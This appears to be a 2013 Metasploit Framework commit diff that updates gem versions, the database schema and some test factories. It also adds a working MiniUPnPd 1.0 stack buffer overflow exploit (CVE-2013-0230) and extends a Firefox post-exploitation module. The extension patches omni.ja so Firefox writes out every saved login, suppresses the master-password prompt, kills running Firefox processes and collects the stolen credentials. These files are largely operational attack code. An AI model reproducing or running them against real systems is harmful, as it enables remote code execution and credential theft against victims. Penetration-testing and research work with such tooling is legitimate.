bug/bundler_fix
jvazquez-r7 2013-06-04 12:07:27 -05:00
commit b3a99affe0
10 changed files with 532 additions and 180 deletions

View File

@ -15,7 +15,7 @@ group :db do
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.15.2'
gem 'metasploit_data_models', '~> 0.16.0'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end

View File

@ -23,7 +23,7 @@ GEM
i18n (0.6.1)
json (1.7.7)
metaclass (0.0.1)
metasploit_data_models (0.15.2)
metasploit_data_models (0.16.0)
activerecord (>= 3.2.13)
activesupport
pg

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20130522041110) do
ActiveRecord::Schema.define(:version => 20130531144949) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -50,7 +50,6 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
t.string "ua_name", :limit => 64
t.string "ua_ver", :limit => 32
t.datetime "updated_at"
t.integer "campaign_id"
end
create_table "creds", :force => true do |t|
@ -167,18 +166,11 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
add_index "hosts", ["state"], :name => "index_hosts_on_state"
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
create_table "hosts_tags", :id => false, :force => true do |t|
create_table "hosts_tags", :force => true do |t|
t.integer "host_id"
t.integer "tag_id"
end
create_table "imported_creds", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.string "user", :limit => 512
t.string "pass", :limit => 512
t.string "ptype", :limit => 16, :default => "password"
end
create_table "listeners", :force => true do |t|
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false

View File

@ -0,0 +1,126 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
Rank = NormalRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
'Description' => %q{
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
present in the SOAPAction HTTP header handling.
},
'Author' =>
[
'hdm', # Vulnerability discovery
'Dejan Lukan' # Metasploit module
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'EXITFUNC' => 'process', },
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
# of the program is never reached)
'Payload' =>
{
'Space' => 2060,
'BadChars' => "\x00\x22",
'DisableNops' => true
},
'Platform' => 'linux',
'References' =>
[
[ 'CVE', '2013-0230' ],
[ 'OSVDB', '89624' ],
[ 'BID', '57608' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
],
'Targets' =>
[
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
{
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
'Offset' => 2123
}
],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Mar 27 2013',
))
register_options([
Opt::RPORT(5555),
], self.class)
end
def exploit
#
# Build the SOAP Exploit
#
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
sploit = "\xeb\x2d"
# a valid action
sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
# payload
sploit += payload.encoded
# nops
sploit += rand_text(target['Offset'] - sploit.length - 16)
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
sploit += rand_text(4) # overwrite EBX
sploit += rand_text(4) # overwrite ESI
sploit += rand_text(4) # overwrite EDI
sploit += rand_text(4) # overwrite EBP
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
# stack points directly to the string after 'Soapaction: ', which is why we must
# throw the first value on the stack away, which we're doing with the pop ebp
# instruction. Then we're returning to the next value on the stack, which is
# exactly the address that we want.
sploit += [target.ret].pack('V')
# the ending " character is necessary for the vulnerability to be reached
sploit += "\""
# data sent in the POST body
data =
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
"<SOAP-ENV:Envelope\r\n" +
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
">\r\n" +
"<SOAP-ENV:Body>\r\n" +
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
"</ns1:action>\r\n" +
"</SOAP-ENV:Body>\r\n" +
"</SOAP-ENV:Envelope>\r\n"
#
# Build and send the HTTP request
#
print_status("Sending exploit to victim #{target.name} at ...")
send_request_cgi({
'method' => 'POST',
'uri' => "/",
'headers' => {
'SOAPAction' => sploit,
},
'data' => data,
})
# disconnect from the server
disconnect
end
end

View File

@ -7,12 +7,18 @@
require 'msf/core'
require 'rex'
require 'zip/zip'
require 'tmpdir'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/auxiliary/report'
require 'msf/core/post/windows/user_profiles'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info={})
@ -26,35 +32,97 @@ class Metasploit3 < Msf::Post
Firefox stores passwords within the signons.sqlite database file. There is also a
keys3.db file which contains the key for decrypting these passwords. In cases where
a Master Password has not been set, the passwords can easily be decrypted using
third party tools. If a Master Password was used the only option would be to
bruteforce.
third party tools or by setting the DECRYPT option to true. Using the latter often
needs root privileges. If a Master Password was used the only option would be
to bruteforce.
},
'License' => MSF_LICENSE,
'Author' => ['bannedit'],
'Author' =>
[
'bannedit',
'xard4s' # added decryption support
],
'Platform' => ['win', 'linux', 'bsd', 'unix', 'osx'],
'SessionTypes' => ['meterpreter', 'shell' ]
))
register_options(
[
OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
]
)
#TODO
# - add support for decrypting the passwords without a Master Password
# - Collect cookies.
end
def run
paths = []
print_status("Determining session platform and type...")
case session.platform
when /unix|linux|bsd/
@platform = :unix
paths = enum_users_unix
when /osx/
@platform = :osx
paths = enum_users_unix
when /win/
if session.type != "meterpreter"
print_error "Only meterpreter sessions are supported on windows hosts"
return
end
@platform = :windows
else
print_error("Unsupported platform #{session.platform}")
return
end
if datastore['DECRYPT']
omnija = nil
org_file = 'omni.ja'
new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
# sets @paths
return unless get_ff_and_loot_path
print_status("Downloading #{org_file} from #{@paths['ff']}")
omnija = read_file(@paths['ff']+org_file)
if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
print_error("Could not download #{org_file}, archive may not exist")
return
end
# cross platform local tempdir, "/" should work on windows too
tmp = Dir::tmpdir + "/" + new_file
print_status("Writing #{org_file} to local file: #{tmp}")
file_local_write(tmp, omnija)
res = nil
print_status("Extracting and modifying #{new_file}...")
begin
# automatically commits the changes made to the zip archive when
# the block terminates
Zip::ZipFile.open(tmp) do |zip_file|
res = modify_omnija(zip_file)
end
rescue Zip::ZipError => e
print_error("Error modifying #{new_file}")
return
end
if res
print_status("Successfully modified #{new_file}")
else
print_error("Failed to patch method")
return
end
print_status("Uploading #{new_file} to #{@paths['ff']}")
if not upload_file(@paths['ff']+new_file, tmp)
print_error("Could not upload #{new_file}")
return
end
return if not trigger_decrypt(org_file, new_file)
download_creds
else
paths = []
if @platform =~ /unix|osx/
paths = enum_users_unix
else # windows
grab_user_profiles().each do |user|
next if user['AppData'] == nil
dir = check_firefox(user['AppData'])
@ -62,16 +130,17 @@ class Metasploit3 < Msf::Post
paths << dir
end
end
else
print_error("Unsupported platform #{session.platform}")
return
end
if paths.nil?
print_error("No users found with a Firefox directory")
return
end
download_loot(paths.flatten)
end
end
def enum_users_unix
@ -195,6 +264,262 @@ class Metasploit3 < Msf::Post
end
end
# checks for needed privileges and wheter Firefox is installed
def get_ff_and_loot_path
@paths = {}
check_paths = []
drive = expand_path("%SystemDrive%")
loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
case @platform
when /win/
if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i
print_error("You need root privileges on this platform for DECRYPT option")
return false
end
tmpdir = expand_path("%TEMP%") + "\\"
# this way allows for more independent use of meterpreter
# payload (32 and 64 bit) and cleaner code
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
when /unix/
tmpdir = '/tmp/'
if cmd_exec("whoami").chomp !~ /root/
print_error("You need root privileges on this platform for DECRYPT option")
return false
end
# unix matches linux|unix|bsd but bsd is not supported
if session.platform =~ /bsd/
print_error("Sorry, bsd is not supported by the DECRYPT option")
return false
end
check_paths << '/usr/lib/firefox/'
check_paths << '/usr/lib64/firefox/'
when /osx/
tmpdir = '/tmp/'
check_paths << '/applications/firefox.app/contents/macos/'
end
@paths['ff'] = check_paths.find do |p|
check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '')
print_status("Checking for Firefox directory in: #{check}")
if directory?(p.sub(/(\\|\/)$/, ''))
print_good("Found Firefox directory")
true
else
print_error("No Firefox directory found")
false
end
end
return false if @paths['ff'].nil?
@paths['loot'] = tmpdir + loot_file
return true
end
def modify_omnija(zip)
files = [
'components/storage-mozStorage.js',
'chrome/toolkit/content/passwordmgr/passwordManager.xul',
'chrome/toolkit/content/global/commonDialog.xul',
'jsloader/resource/gre/components/storage-mozStorage.js'
]
arya = files.map do |file|
fdata = {}
fdata['content'] = zip.read(file) unless file =~ /jsloader/
fdata['outs'] = zip.get_output_stream(file)
fdata
end
stor_js, pwd_xul, dlog_xul, res_js = arya
stor_js['outs_res'] = res_js['outs']
wnd_close = "window.close();"
onload = "Startup(); SignonsStartup(); #{wnd_close}"
# get rid of (possible) master password prompt and close pwd
# manager immediately
dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close)
dlog_xul['outs'].write(dlog_xul['content'])
dlog_xul['outs'].close
pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
pwd_xul['outs'].write(pwd_xul['content'])
pwd_xul['outs'].close
# returns true or false
return patch_method(stor_js)
end
# Patches getAllLogins() method from storage-mozStorage.js
def patch_method(stor_js)
data = ""
# imports needed for IO
imports = %Q|
Components.utils.import("resource://gre/modules/NetUtil.jsm");
Components.utils.import("resource://gre/modules/FileUtils.jsm");
Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
|
# Javascript code to intercept the logins array and write the
# credentials to a file
method_epilog = %Q|
var data = "";
var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
var file = new FileUtils.File(path);
var outstream = FileUtils.openSafeFileOutputStream(file);
var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
converter.charset = "UTF-8";
if (logins.length != 0) {
for (var i = 0; i < logins.length; i++) {
data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
}
} else {
data = "no creds";
}
var istream = converter.convertToInputStream(data);
NetUtil.asyncCopy(istream, outstream);
return logins;
|
regex = [
nil,
[/return\slogins;/, method_epilog],
[/getAllLogins\s:\sfunction\s\(count\)\s{/, nil],
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
]
# match three regular expressions
i = 3
stor_js['content'].each_line do |line|
# there is no real substitution if the matching regex
# has no corresponding patch code
if i != 0 and line.sub!(regex[i][0]) do |match|
if not regex[i][1].nil?
regex[i][1]
else
line
end
end
i -= 1
end
data << line
end
# write the same data to both output streams
stor_js['outs'].write(data)
stor_js['outs_res'].write(data)
stor_js['outs'].close
stor_js['outs_res'].close
i == 0 ? 'return true' : 'return false'
end
# Starts a new firefox process and triggers decryption
def trigger_decrypt(org_file, new_file)
temp_file = "orgomni.ja"
[org_file, new_file, temp_file].each do |f|
f.insert(0, @paths['ff'])
end
# firefox command line arguments
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
# In case of unix-like platform Firefox needs to start under user
# context
if @platform =~ /unix/
# assuming userdir /home/(x) = user
print_status("Enumerating users...")
users = cmd_exec("ls /home")
if users.nil? or users.empty?
print_error("No normal user found")
return false
end
user = users.split()[0]
# Since we can't access the display environment variable
# we have to assume the default value
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
args << "\""
cmd = "su #{user} -c"
elsif @platform =~ /win|osx/
cmd = @paths['ff'] + "firefox"
# on osx, run in background
args << "& sleep 5 && killall firefox" if @platform =~ /osx/
end
# check if firefox is running and kill it
if session.type == "meterpreter"
session.sys.process.each_process do |p|
if p['name'] =~ /firefox\.exe/
print_status("Found running Firefox process, attempting to kill.")
if not session.sys.process.kill(p['pid'])
print_error("Could not kill Firefox process")
return false
end
end
end
elsif session.type != "meterpreter"
p = cmd_exec("ps", "cax | grep firefox")
if p =~ /firefox/
print_status("Found running Firefox process, attempting to kill.")
term = cmd_exec("killall", "firefox && echo true")
if not term =~ /true/
print_error("Could not kill Firefox process")
return false
end
end
end
#
# rename-fu
# omni.ja -> orgomni.ja
# *random*.ja -> omni.ja
# omni.ja -> *random*.ja
# orgomni.ja -> omni.ja
#
rename_file(org_file, temp_file)
rename_file(new_file, org_file)
# automatic termination ( window.close() or arguments)
print_status("Starting Firefox process")
cmd_exec(cmd,args)
rename_file(org_file, new_file)
rename_file(temp_file, org_file)
# clean up
file_rm(new_file)
# at this time it should have a loot file
if !file?(@paths['loot'])
print_error("Decryption failed, there's probably a master password in use")
return false
end
return true
end
def download_loot(paths)
loot = ""
paths.each do |path|
@ -248,6 +573,47 @@ class Metasploit3 < Msf::Post
end
end
def download_creds
print_good("Downloading loot: #{@paths['loot']}")
loot = read_file(@paths['loot'])
if loot =~ /no creds/
print_status("No Firefox credentials where found")
return
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Firefox credentials',
'Indent' => 1,
'Columns'=>
[
'Hostname',
'User',
'Password'
]
)
creds = loot.split("^")
creds.each do |cred|
hostname, user, pass = cred.rstrip.split(" :: ")
cred_table << [hostname, user, pass]
end
print_line("\n" + cred_table.to_s)
path = store_loot(
"firefox.creds",
"text/plain",
session,
cred_table.to_csv,
"firefox_credentials.txt",
"Firefox Credentials")
# better delete the remote creds file
file_rm(@paths['loot'])
end
def got_root?
case @platform
when :windows

View File

@ -0,0 +1,14 @@
FactoryGirl.define do
factory :exported_web_vuln, :parent => :mdm_web_vuln do
blame { generate :mdm_web_vuln_blame }
description { generate :mdm_web_vuln_description }
end
sequence :mdm_web_vuln_blame do |n|
"Blame employee ##{n}"
end
sequence :mdm_web_vuln_description do |n|
"Mdm::WebVuln#description #{n}"
end
end

View File

@ -1,34 +0,0 @@
FactoryGirl.define do
factory :mdm_route, :class => Mdm::Route do
netmask { generate :mdm_route_netmask }
subnet { generate :mdm_route_subnet }
#
# Associations
#
association :session, :factory => :mdm_session
end
sequence :mdm_route_netmask do |n|
bits = 32
bitmask = n % bits
[ (~((2 ** (bits - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.')
bits = 32
shift = n % bits
mask_range = 2 ** bits
full_mask = mask_range - 1
integer_netmask = (full_mask << shift)
formatted_netmask = [integer_netmask].pack('N').unpack('CCCC').join('.')
formatted_netmask
end
sequence :mdm_route_subnet do |n|
class_c_network = n % 255
"192.168.#{class_c_network}.0"
end
end

View File

@ -1,34 +0,0 @@
FactoryGirl.define do
factory :mdm_web_form, :class => Mdm::WebForm do
#
# Associations
#
association :web_site, :factory => :mdm_web_site
# attributes that would be in web_form element from Pro export
trait :exported do
method { generate :mdm_web_form_method }
params { generate :mdm_web_form_params }
path { generate :mdm_web_form_path }
end
end
methods = ['GET', 'POST']
sequence :mdm_web_form_method do |n|
methods[n % methods.length]
end
sequence :mdm_web_form_params do |n|
[
[
"name#{n}",
"value#{n}"
]
]
end
sequence :mdm_web_form_path do |n|
"path/to/web/form/#{n}"
end
end

View File

@ -1,64 +0,0 @@
FactoryGirl.define do
factory :mdm_web_page, :class => Mdm::WebPage do
auth { generate :mdm_web_page_auth }
body { generate :mdm_web_page_body }
code { generate :mdm_web_page_code }
cookie { generate :mdm_web_page_cookie }
ctype { generate :mdm_web_page_ctype }
headers { generate :mdm_web_page_headers }
location { generate :mdm_web_page_location }
mtime { generate :mdm_web_page_mtime }
query { generate :mdm_web_page_query }
#
# Associations
#
association :web_site, :factory => :mdm_web_site
end
sequence :mdm_web_page_auth do |n|
"Authorization: #{n}"
end
sequence :mdm_web_page_body do |n|
xml = Builder::XmlMarkup.new(:indent => 2)
xml.html
xml.target!.strip
end
sequence :mdm_web_page_code do |n|
n
end
sequence :mdm_web_page_cookie do |n|
"name#{n}=value#{n}"
end
sequence :mdm_web_page_ctype do |n|
"application/x-#{n}"
end
sequence :mdm_web_page_headers do |n|
[
[
"Header#{n}",
"Value#{n}"
]
]
end
sequence :mdm_web_page_location do |n|
"http://example.com/location/#{n}"
end
sequence :mdm_web_page_mtime do |n|
past = Time.now - n
past.utc.strftime('%a, %d %b %Y %H:%M:%S %Z')
end
sequence :mdm_web_page_query do |n|
"param#{n}=value#{n}"
end
end

View File

@ -1,14 +0,0 @@
FactoryGirl.define do
factory :exported_web_vuln, :parent => :mdm_web_vuln do
blame { generate :mdm_web_vuln_blame }
description { generate :mdm_web_vuln_description }
end
sequence :mdm_web_vuln_blame do |n|
"Blame employee ##{n}"
end
sequence :mdm_web_vuln_description do |n|
"Mdm::WebVuln#description #{n}"
end
end